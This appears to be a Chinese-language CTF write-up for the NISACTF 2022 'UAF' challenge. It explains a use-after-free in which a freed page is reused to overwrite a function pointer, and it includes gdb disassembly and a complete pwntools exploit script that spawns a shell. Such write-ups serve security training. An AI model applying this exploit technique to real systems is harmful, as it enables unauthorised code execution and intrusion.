[NISACTF 2022]UAF wp

这道题考察UAF和系统调用,最后拿shell耗费时间比构造UAF时间长;
存在system()函数,但需要自己传参

本题存在4个函数,其中create函数每次开辟一个下标递增的page,edit函数可以修改指定page,del函数删除指定page,但free后没有将指针置NULL,存在UAF;
而show函数则是本题关键

当输入为非0时,展示输入指向的page,而当输入为0时,则执行page0处指令
所以我们可以先create 1次生成page0,del后再create 1次生成page1,但此时page1使用的仍然时page0的堆空间,所以edit page1时等效于edit page0,最后show(0)即可;
不过最后拿shell的路程还真是绕,此题存在NICO函数可以调用system(command)
gdb调试发现最后调用system是通过call eax调用的

0x8048984 <show+60>    mov    eax, dword ptr [page]         <0x804a060>
0x8048989 <show+65>    mov    eax, dword ptr [eax + 4]
0x804898c <show+68>    mov    edx, dword ptr [page]         <0x804a060>
0x8048992 <show+74>    sub    esp, 0xc
0x8048995 <show+77>    push   edx
0x8048996 <show+78>    call   eax

但是eax的值最后指向[page+0x4]处,意味着最后payload构造需要在system_addr前加上0x4的偏移
如下图,这是不加偏移的结果:

可以构造初步的payload:

payload=cyclic(0x4)+p32(NICO_addr)

加上偏移后还需考虑系统调用传参的问题,本题不能直接加上偏移就完事了,否则又会如下图:

可以看出0x4的偏移作为command传进system,所以需要修改payload为:

payload=b"sh\x00\x00"+p32(NICO_addr)

所以最后exp:

from pwn import *
context(log_level='debug',os='linux',arch='x86',terminal=['tmux','splitw','-h'])

io=process("./[NISACTF 2022]UAF")
# io=remote("1.14.71.254",28767)
NICO_addr=0x8048642

def create():
    io.recvuntil(b":")
    io.sendline(b"1")

def edit(num):
    io.recvuntil(b":")
    io.sendline(b"2")
    io.recvuntil(b"page\n")
    io.sendline(str(num))
    io.recvuntil(b"strings\n")

def dele(num):
    io.recvuntil(b":")
    io.sendline(b"3")
    io.recvuntil(b"page\n")
    io.sendline(str(num))

def show(num):
    io.recvuntil(b":")
    io.sendline(b"4")
    io.recvuntil(b"page\n")
    io.sendline(str(num))

create()
dele(0)
create()
edit(1)

gdb.attach(io)
pause()

payload=b"sh\x00\x00"+p32(NICO_addr)
io.sendline(payload)
show(0)
io.interactive()